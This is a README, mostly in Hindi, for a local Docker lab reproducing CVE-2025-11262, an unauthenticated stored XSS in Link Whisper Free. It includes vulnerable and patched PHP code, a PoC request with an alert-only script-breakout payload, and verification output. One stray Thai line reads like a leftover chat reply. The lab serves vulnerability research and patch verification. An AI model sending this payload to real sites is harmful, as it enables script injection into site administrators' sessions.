
CVE-2025-11262 को पुनरुत्पन्न करने के लिए डॉकर लैब, जो Link Whisper Free WordPress प्लगइन में एक अनऑथेंटिकेटेड ಸ्टोर्ड ब्लाइंड XSS है। इसमें कमजोर और पैच किए गए लक्ष्य, PoC स्क्रिप्ट और मूल कारण विश्लेषण शामिल हैं।
इस रिपॉजिटरी में CVE-2025-11262 के पुनरुत्पादन के लिए एक स्थानीय Docker लैब शामिल है, जो WordPress प्लगइन Link Whisper Free को प्रभावित करने वाली एक बिना प्रमाणीकरण के संग्रहीत क्रॉस-साइट स्क्रिप्टिंग समस्या है।
लैब दो प्लगइन संस्करणों की तुलना करती है:
| सेवा | प्लगइन संस्करण | उद्देश्य | URL |
|---|
vuln | 0.9.0 | असुरक्षित लक्ष्य | http://127.0.0.1:8081 |
patched | 0.9.1 | पैच किया गया तुलनात्मक लक्ष्य | http://127.0.0.1:8082 |
प्रदर्शित भेद्यता श्रृंखला इस प्रकार है:
Unauthenticated REST request
→ attacker-controlled user_id is persisted
→ a privileged WordPress user opens the Link Whisper AI Subscription page
→ the stored value is rendered into an admin JavaScript context
→ alert("CVE-2025-11262-LAB") executes on the vulnerable version
हमलावर को संग्रहीत पेलोड लगाने के लिए लॉग इन करने की आवश्यकता नहीं है। JavaScript बाद में तब निष्पादित होती है जब कोई विशेषाधिकार प्राप्त WordPress उपयोगकर्ता प्रभावित व्यवस्थापक पृष्ठ खोलता है।
यह लैब केवल नियंत्रित स्थानीय अनुसंधान, स्रोत-स्तरीय समझ और पोर्टफोलियो प्रदर्शन के लिए डिज़ाइन की गई है।
| दावा | साक्ष्य | इस लैब में कैसे सत्यापित करें |
|---|---|---|
Link Whisper Free 0.9.0 असुरक्षित है। | सार्वजनिक सलाहकार पत्र Link Whisper Free के 0.9.0 तक के संस्करणों को प्रभावित बताते हैं। | PoC को http://127.0.0.1:8081 पर चलाएँ और मुद्रित व्यवस्थापक URL खोलें। |
Link Whisper Free 0.9.1 में फिक्स शामिल है। | सार्वजनिक सलाहकार और चेंजलॉग डेटा 0.9.1 को पैच किए गए संस्करण के रूप में पहचानते हैं। | उसी PoC को http://127.0.0.1:8082 पर चलाएँ; कोई अलर्ट दिखाई नहीं देना चाहिए। |
| पेलोड लगाना बिना प्रमाणीकरण के है। | PoC बिना WordPress कुकीज़, लॉगिन या nonce के POST अनुरोध भेजता है। | poc/poc.py का निरीक्षण करें; इसे केवल --url की आवश्यकता है। |
| दृश्य प्रभाव WordPress व्यवस्थापक क्षेत्र में ट्रिगर होता है। | जब कोई विशेषाधिकार प्राप्त उपयोगकर्ता Link Whisper AI Subscription पृष्ठ खोलता है, तो संग्रहीत मान प्रस्तुत किया जाता है। | PoC चलाने के बाद, व्यवस्थापक के रूप में लॉगिन करें और मुद्रित व्यवस्थापक URL खोलें। |
पैच किया गया लक्ष्य HTTP स्तर पर अभी भी "ok" लौटा सकता है। | स्थानीय परीक्षण में दोनों लक्ष्य "ok" लौटा सकते हैं; सार्थक अंतर यह है कि पेलोड संग्रहीत और निष्पादित होता है या नहीं। | 8081 और 8082 पर ब्राउज़र व्यवहार की तुलना करें। |
นี่คือส่วน Root Cause Summary สำหรับเอาไปแทนใน README ได้เลยครับ เป็น public-safe ไม่พูดถึงไฟล์อย่าง vuln_detail.txt และอิงกับ lab/source ที่คุณใช้ตอนนี้
CVE-2025-11262 Link Whisper Free 0.9.0 में एक संग्रहीत JavaScript इंजेक्शन श्रृंखला के कारण होता है।
समस्या एक एकल लुप्त एस्केपिंग कॉल नहीं है। यह कई असुरक्षित व्यवहारों की एक श्रृंखला है:
Unauthenticated REST endpoint
→ insufficient validation of user_id
→ persistent storage in wpil_ai_access_user_id
→ unsafe rendering into an admin JavaScript context
→ stored XSS when a privileged user opens the AI Subscription page
Link Whisper Free प्लगइन REST नेमस्पेस के अंतर्गत एक AI प्रमाणीकरण REST एंडपॉइंट पंजीकृत करता है:
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';
एंडपॉइंट को POST रूट के रूप में पंजीकृत किया गया है:
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
'methods' => 'POST',
'callback' => [
$this,
'ai_auth_handler'
],
'permission_callback' => "__return_true",
'show_in_index' => false
]);
चूंकि अनुमति कॉलबैक __return_true है, एंडपॉइंट बिना प्रमाणीकरण के पहुंच योग्य है।
लैब में, प्रभावी एंडपॉइंट है:
/wp-json/link-whisper/ai-auth
इसका मतलब है कि एक बिना प्रमाणीकरण वाला हमलावर WordPress सत्र, nonce या व्यवस्थापक खाते के बिना एंडपॉइंट पर अनुरोध भेज सकता है।
Link Whisper Free 0.9.0 में, हैंडलर REST अनुरोध से हमलावर-नियंत्रित पैरामीटर पढ़ता है:
public function ai_auth_handler( WP_REST_Request $request )
{
if(!empty($request->get_param('access_token'))){
$token = $request->get_param('access_token');
$user_id = $request->get_param('user_id');
$uid = (int)$request->get_param('uid');
$uemail = $request->get_param('uemail');
if(!empty($token) && false !== strpos($token, 'ai-')){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', $uemail);
update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
update_option('wpil_ai_access_authorized', true);
}
return 'ok';
}
return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}
असुरक्षित व्यवहार कमजोर सत्यापन शर्त है:
if(!empty($token) && false !== strpos($token, 'ai-')){
यह केवल जाँचता है कि आपूर्ति किए गए एक्सेस टोकन में स्ट्रिंग ai- है या नहीं।
user_id को संग्रहीत करने से पहले कोई सख्त सत्यापन नहीं है:
update_option('wpil_ai_access_user_id', $user_id);
परिणामस्वरूप, हमलावर-नियंत्रित JavaScript को WordPress विकल्प तालिका में संग्रहीत किया जा सकता है।
हमलावर-नियंत्रित user_id मान WordPress विकल्प में संग्रहीत किया जाता है:
wpil_ai_access_user_id
इस लैब में, PoC निम्नलिखित केवल-स्थानीय पेलोड भेजता है:
</script><script>alert("CVE-2025-11262-LAB")</script>
असुरक्षित सेवा पर, पेलोड को wpil_ai_access_user_id के मान के रूप में संग्रहीत किया जाता है।
हमलावर को पेलोड लगाने के लिए लॉग इन करने की आवश्यकता नहीं है। पेलोड बिना प्रमाणीकरण वाले REST एंडपॉइंट के माध्यम से लगाया जाता है।
संग्रहीत मान बाद में प्लगइन सेटिंग्स तर्क के माध्यम से पुनर्प्राप्त किया जाता है:
public static function get_linkwhisper_ai_user_id(){
return get_option('wpil_ai_access_user_id', '');
}
मान को $ai_id को सौंपा जाता है और AI Subscription व्यवस्थापक पृष्ठ पर प्रस्तुत किया जाता है।
Link Whisper Free 0.9.0 में, मान को सीधे एक JavaScript स्ट्रिंग में डाला जाता है:
body: JSON.stringify({
ai_id: "<?php echo $ai_id;?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})
चूंकि $ai_id को JavaScript संदर्भ में डालने से पहले एस्केप नहीं किया गया है, एक संग्रहीत पेलोड इच्छित स्ट्रिंग से बाहर निकल सकता है और व्यवस्थापक पृष्ठ खुलने पर JavaScript निष्पादित कर सकता है।
लैब पेलोड के साथ, असुरक्षित प्रस्तुत आउटपुट इसके बराबर हो जाता है:
body: JSON.stringify({
ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
subscription_id: ""
})
ब्राउज़र में, इंजेक्ट किया गया समापन </script> टैग मूल स्क्रिप्ट ब्लॉक को समाप्त करता है, और इंजेक्ट किया गया <script> ब्लॉक निष्पादित होता है।
पेलोड एक बिना प्रमाणीकरण वाले हमलावर द्वारा लगाया जाता है, लेकिन निष्पादन के लिए एक विशेषाधिकार प्राप्त WordPress उपयोगकर्ता को प्रभावित व्यवस्थापक पृष्ठ खोलना आवश्यक है:
/wp-admin/admin.php?page=link_whisper_ai_subscription
इस लैब में, अलर्ट डायलॉग को ट्रिगर करने के लिए प्रभावित पृष्ठ को WordPress व्यवस्थापक के रूप में खोला जाता है।
यह समस्या को एक बिना प्रमाणीकरण के संग्रहीत XSS बनाता है जो प्रमाणीकृत WordPress व्यवस्थापकों या विशेषाधिकार प्राप्त उपयोगकर्ताओं को लक्षित करता है जो Link Whisper AI Subscription व्यवस्थापक पृष्ठ तक पहुँच सकते हैं।
Link Whisper Free 0.9.1 AI प्रमाणीकरण मानों को संग्रहीत करने से पहले सख्त सत्यापन जोड़ता है।
पैच किए गए हैंडलर को टोकन और उपयोगकर्ता आईडी को सख्त प्रारूपों से मेल खाना आवश्यक है:
if(
!empty($token) &&
false !== strpos($token, 'ai-') &&
(bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
(bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', sanitize_email($uemail));
update_option('wpil_ai_access_authorized', true);
}
user_id के लिए जोड़ा गया महत्वपूर्ण सत्यापन है:
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
यह मनमानी JavaScript को AI उपयोगकर्ता आईडी के रूप में संग्रहीत होने से रोकता है।
संस्करण 0.9.1 JavaScript संदर्भ में प्रस्तुत करने से पहले मान को एस्केप भी करता है:
body: JSON.stringify({
ai_id: "<?php echo esc_attr($ai_id);?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})
इसलिए पैच दो बिंदुओं पर समस्या को कम करता है:
Input validation before persistence
Output escaping before JavaScript rendering
लैब 0.9.0 और 0.9.1 के बीच अंतर की पुष्टि करता है।
Link Whisper Free 0.9.0 पर:
POST /wp-json/link-whisper/ai-auth
→ returns "ok"
→ stores the payload in wpil_ai_access_user_id
→ opening the AI Subscription admin page triggers alert("CVE-2025-11262-LAB")
Link Whisper Free 0.9.1 पर:
POST /wp-json/link-whisper/ai-auth
→ may still return "ok"
→ does not store the payload
→ opening the AI Subscription admin page does not trigger an alert
केवल HTTP प्रतिक्रिया यह निर्धारित करने के लिए पर्याप्त नहीं है कि लक्ष्य असुरक्षित है, क्योंकि दोनों संस्करण "ok" लौटा सकते हैं। सार्थक व्यवहारिक अंतर यह है कि पेलोड संग्रहीत होता है या नहीं और बाद में व्यवस्थापक JavaScript संदर्भ में प्रस्तुत किया जाता है या नहीं।
लैब Docker Compose के माध्यम से दो पृथक WordPress इंस्टेंस और दो अलग MySQL डेटाबेस चलाती है।
.
├── docker/
│ └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
└── vuln/
└── Dockerfile
Docker एंट्रीपॉइंट स्वचालित रूप से:
दोनों सेवाओं के लिए डिफ़ॉल्ट WordPress व्यवस्थापक क्रेडेंशियल्स:
admin / AdminPassw0rd!
लैब बनाएँ और प्रारंभ करें:
docker compose down -v
docker compose build --no-cache
docker compose up -d
कंटेनरों की जाँच करें:
docker compose ps
अपेक्षित उजागर सेवाएँ:
Vulnerable target: http://127.0.0.1:8081
Patched target: http://127.0.0.1:8082
आप सेटअप लॉग भी देख सकते हैं:
docker compose logs vuln patched
एक सफल सेटअप प्रत्येक WordPress इंस्टेंस में Link Whisper को सक्रिय दिखाना चाहिए।
असुरक्षित सेवा के विरुद्ध PoC चलाएँ:
python3 poc/poc.py --url http://127.0.0.1:8081
PoC बिना प्रमाणीकरण वाले REST एंडपॉइंट के माध्यम से यह केवल-स्थानीय पेलोड भेजता है:
</script><script>alert("CVE-2025-11262-LAB")</script>
स्क्रिप्ट चलाने के बाद, ब्राउज़र में मुद्रित व्यवस्थापक URL खोलें और इसके साथ लॉगिन करें:
admin / AdminPassw0rd!
असुरक्षित सेवा पर, ब्राउज़र को निम्नलिखित युक्त एक अलर्ट प्रदर्शित करना चाहिए:
CVE-2025-11262-LAB
तुलना के लिए, पैच की गई सेवा के विरुद्ध वही PoC चलाएँ:
python3 poc/poc.py --url http://127.0.0.1:8082
फिर पैच की गई सेवा के लिए मुद्रित व्यवस्थापक URL खोलें। कोई अलर्ट ट्रिगर नहीं होना चाहिए।
असुरक्षित लक्ष्य:
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
[next step]
Open this URL in a browser and login as the lab administrator:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
पैच किया गया लक्ष्य:
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
केवल HTTP प्रतिक्रिया यह निर्धारित करने के लिए पर्याप्त नहीं है कि लक्ष्य असुरक्षित है। महत्वपूर्ण अंतर विशेषाधिकार प्राप्त उपयोगकर्ता द्वारा प्रभावित व्यवस्थापक पृष्ठ खोलने के बाद ब्राउज़र का व्यवहार है।

सुझाया गया स्क्रीनशॉट लक्ष्य:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
स्क्रीनशॉट में निम्नलिखित के साथ ब्राउज़र अलर्ट दिखना चाहिए:
CVE-2025-11262-LAB
PoC जानबूझकर छोटा है और केवल एक लक्ष्य URL की आवश्यकता है:
python3 poc/poc.py --url http://127.0.0.1:8081
यह निम्नलिखित पर POST अनुरोध भेजता है:
/wp-json/link-whisper/ai-auth
निम्नलिखित फॉर्म फ़ील्ड के साथ:
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id = </script><script>alert("CVE-2025-11262-LAB")</script>
uid = 1
uemail = [email protected]
असुरक्षित सेवा पर, संग्रहीत मान बाद में AI Subscription पृष्ठ पर प्रस्तुत किया जाता है। जब कोई व्यवस्थापक वह पृष्ठ खोलता है, तो JavaScript निष्पादित होती है।
पैच की गई सेवा पर, वही पेलोड अलर्ट का कारण नहीं बनना चाहिए।
प्लगइन संस्करण जाँचें:
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper
जाँचें कि क्या असुरक्षित सेवा ने पेलोड संग्रहीत किया:
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root
अपेक्षित असुरक्षित मान:
</script><script>alert("CVE-2025-11262-LAB")</script>
पैच की गई सेवा जाँचें:
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root
अपेक्षित पैच व्यवहार:
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?
REST एंडपॉइंट एक्सेस लॉग जाँचें:
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'
Link Whisper Free को 0.9.1 या बाद के संस्करण में अपग्रेड करें।
पैच इस लैब पेलोड को संग्रहीत और प्रस्तुत होने से रोकता है, प्रभावित AI प्रमाणीकरण प्रवाह के आसपास सख्त सत्यापन और सुरक्षित आउटपुट हैंडलिंग जोड़कर।
उत्पादन वातावरण के लिए, निम्नलिखित पर भी विचार करें:
कंटेनर, नेटवर्क और वॉल्यूम रोकें और हटाएँ:
docker compose down -v
यदि चाहें तो स्थानीय रूप से बनाई गई इमेज हटाएँ:
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true
यह लैब केवल स्थानीय सुरक्षा अनुसंधान और नियंत्रित प्रदर्शन के लिए है।
PoC को उन प्रणालियों के विरुद्ध न चलाएँ जिनके आप मालिक नहीं हैं या जिनका परीक्षण करने की अनुमति नहीं है।
इस लैब में वास्तविक क्रेडेंशियल, उत्पादन रहस्य या बाहरी कॉलबैक का उपयोग न करें।
PoC जानबूझकर स्क्रीनशॉट साक्ष्य के लिए एक दृश्य alert() मार्कर का उपयोग करता है। इसमें क्रेडेंशियल चोरी, सत्र चोरी, लैब से परे दृढ़ता या स्वचालित व्यवस्थापक क्रियाओं के लिए पेलोड शामिल नहीं हैं।
GitHub Advisory Database: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
https://github.com/advisories/GHSA-7h4c-hr9j-8q85
Wordfence Intelligence: Link Whisper Free भेद्यता डेटाबेस प्रविष्टि
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper
WordPress.org प्लगइन निर्देशिका: Link Whisper Free
https://wordpress.org/plugins/link-whisper/
असुरक्षित लैब द्वारा उपयोग किया गया WordPress.org प्लगइन पैकेज
https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip
पैच किए गए लैब द्वारा उपयोग किया गया WordPress.org प्लगइन पैकेज
https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip
WordPress प्लगइन स्रोत ब्राउज़र: Link Whisper 0.9.0 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php
WordPress प्लगइन स्रोत ब्राउज़र: Link Whisper 0.9.1 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php
WordPress प्लगइन स्रोत ब्राउज़र: Link Whisper 0.9.0 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php
WordPress प्लगइन स्रोत ब्राउज़र: Link Whisper 0.9.1 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Settings.php